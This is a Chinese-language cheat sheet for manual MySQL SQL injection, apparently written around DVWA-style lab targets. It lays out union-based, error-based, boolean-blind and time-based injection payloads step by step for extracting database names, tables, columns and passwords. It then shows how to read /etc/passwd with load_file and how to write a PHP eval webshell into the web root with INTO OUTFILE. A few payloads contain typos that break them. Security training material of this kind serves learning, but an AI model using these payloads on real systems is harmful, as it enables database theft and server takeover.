MySQL注入
MySQL手注之联合查询注入
原理
union select 联合查询 ,即合并(取交集,结果中没有重复行)前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。
Union联合查询注入基本流程
无论什么样的数据库,只要用到联合查询,它的流程都是这样
1.判断注入点
方法:1.单引号(') 2.逻辑法(and 1=1 、and '1'='1) 3.运算法 (-0、-1)
2.判断注入参数类型
数字 , 字符
3.猜解该表字段数 order by
1' order by 2 # 或 --+
4.联合查询,获取库名用户名等信息
1' union select database(),user() #
数据库版本:version()5.7.22-0ubuntu0.16.04.1
数据库名字:database()security
数据库用户:user()root@localhost
操作系统:@@version_compile_os Linux
知识点:在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。因为当MySQL的版本⼩于4.0时,是不⽀持union select联合查询的;Mysql 5.0为界限,之下为低版本,之上为高版本
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名
group_concat() 查询该括号里的内容的所有信息
limit 0,1 逐一查询 改动前一个数字 -- 0,1第一条、1,1第二条
5.表名信息
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
6.其中表的字段名
1' union select 1,group_concat(column_name) from nformation_schema.columns where table_name='users' #
7.行数据信息
1' union select user,password from users#
MySQL手注之报错注入
当获取的数据不能回显至前端页面,需要利用一些方法进行判断或者尝试注入。原理详解
当在⼀个聚合函数,⽐如count函数后⾯如果使用分组语句就会把查询的⼀部分以错误的形显⽰出来。
这些函数分别是:
Rand() //随机函数
Floor() //取整函数
Count() //聚合函数
Group by key //分组语句
例如,利用floor()语句报错,是利用floor(),count(),group() by冲突报错,当这三个函数在特定情况⼀起使用产⽣的错误。
extractvalue注入的原理:依旧如同updatexml⼀样,extract的第⼆个参数要求是xpath格式字符串,⽽我们输入的并不是。所以报错。
extractvalue():从⽬标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第⼀个参数:XML_document是String格式,为XML⽂档对象的名称,⽂中为Doc
第⼆个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产⽣的字符串。
报错注入常用的函数
1. floor()
select * from test where id=1 and (select 1 from (selectcount(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2. extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3. updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4. geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(selectuser())a)b));
5. multipoint()
select * from test where id=1 and multipoint((select * from(select * from(selectuser())a)b));
6. polygon()
select * from test where id=1 and polygon((select * from(select * from(selectuser())a)b));
7. multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(selectuser())a)b));
8. linestring()
select * from test where id=1 and linestring((select * from(select * from(selectuser())a)b));
9. multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(selectuser())a)b));
10. exp()
select * from test where id=1 and exp(~(select * from(select user())a));
MySQL手注之布尔型盲注
在手工注入的情况下,先考虑联合查询,再报错,再布尔..
该方法有点麻烦,当联合查询,报错注入用不了时(不能手动创造显示点),可用布尔手工注入方式去尝试
盲注常用的函数
length() 返回字符串的长度,例如可以返回数据库名字的长度
substr() 用来截取字符串 substr(string,start,count) 即字符串,开始位数,多少
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句expr1正确,就执行第⼆个语句expr2,如果错误执行第三个语句expr3
count() 得到的是数量
找到注入点并测试:
猜库的长度
输入1' and length(database())=3 #,显⽰不存在;
输入1' and length(database())=4 #,显⽰存在;
二分法逐字猜解库的名字
输入1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不⼩于100(⼩写字母d的ascii值);
输入1' and ascii(substr(database(),1,1))>100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不⼤于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
后面的就是按照上面造轮子
猜表数量,其中单表的长度,名字
数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在
单表 -第一个表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显⽰不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显⽰不存在
substr(表,1) 表示取了整个表的长度
单表名字
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显⽰存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显⽰存在
猜表的字段名数量,长度,名字
数量
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # 显⽰存在
长度-第一个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显⽰存在
名字
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))>97 # 显⽰存在
猜解数据
二分法
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>96 #
暴力猜解 - 直接判断字段为user的是否是admin
1' and (select count(*) from users where user = 'admin') = 1 #
MySQL手注之布尔型盲注
涉及函数:
if函数
格式:IF(Condition,A,B)
含义:如果Condition成⽴,则A,否则B
substr函数 用来截取字符串
ascii函数 返回字符的ascii码
延时注入
mysql>=5.0 使用sleep()进行查询
mysql<5.0使用benchmark()进行查询
benchmark()
benchmark是通过查询次数增多,时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin);
sleep()
判断是否存在延迟注入
id=1 and sleep(5)
判断当前用户
and if(ascii(substr(user(),1,1))=114,sleep(5),1)
判断数据库名长度
if(length(database())=8,sleep(5),1)
猜解数据库名称
and if(ascii(substr(database(),1,1))>100,sleep(5),1)
猜解表名
and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1);
猜解列名
and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)
数据
and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)
MySQL手注之Root权限处理
MySQL数据库默认有⼀个用户是Root,其权限默认是⾮常⾼的,在数据库默认配置下,Root用户是可以对⽹站的⼀些⽬录进行读写操作的。
如果当前连接的mysql用户为root 权限,在具有读写权限的前提下,我们是可以通过写入⼀句话⽊马到⽹站⽬录来获取⽹站权限的,也就是webshell。
正常需要的条件
当前连接到数据库的用户是Root权限
⽹站物理(绝对)路径(报错、phpinfo页⾯、猜、爆破)
MySQL 5.5.53前
5.5.53之前的版本是 secure_file_priv 变量默认为空,所以默认情况下是可以直接通过SQL语句来导出⽂件的。
MySQL⾼于5.5
⾼于5.5时,mysql新出了⼀个 secure-file-priv 字段 : secure-file-priv 参数是用来限制LOAD DATA,
SELECT ... > OUTFILE, and LOAD_FILE()传到哪个指定⽬录的。
当 secure_file_priv 的值为null ,表⽰限制mysqld 不允许导入|导出
当 secure_file_priv 的值为/tmp/ ,表⽰限制mysqld 的导入|导出只能发⽣在/tmp/⽬录下
当 secure_file_priv 的值没有具体值时,即 '' ,表⽰不对mysqld 的导入|导出做限制。
查看 secure-file-priv 参数的值: show global variables like '%secure%'
MySQL读⽂件
mysql读⽂件是用的 load_file() 函数:
select load_file('/etc/passwd');
select load_file(0x2F6574632F706173737764); 经过 hex16进制编码
MySQL写⽂件
INTO OUTFILE函数写⽂件时会在每⼀⾏的结束⾃动加上换⾏符
INTO DUMPFILE函数在写⽂件会保持⽂件得到原⽣内容,这种⽅式对于⼆进制⽂件是最好的选择
直接写入一句话
select '<?php @eval($_POST[pass])?>' into outfile '/var/www/html/muma.php' ;
select '<?php @eval($_POST[pass])?>' into DUMPFILE '/var/www/html/muma.php' ;
间接写入一句话,通过LINES STARTING BY,相当于是一个分隔符替换
原本1.csv,要导出的数据1.php:1,2,3, 前或后 换成一句话 ,<?php @eval($_POST[pass])?>1,2,3<?php @eval($_POST[pass])?>
select * from tdb_goods where goods_id=1 into outfile "/var/www/html/muma.php"
LINES STARTING BY '<?php @eval($_POST[pass])?>'
LINES STARTING BY '写入的内容'
设置每⾏数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
LINES TERMINATED BY '写入的内容'
设置每⾏数据结尾的字符,可以为单个或多个字符。默认值是"\n"。
魔术引号开关
magic_quotes_gpc ——> 输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。这些转义是必须的
可以用编码(16进制进行转换)或者宽字节、二次注入进行绕过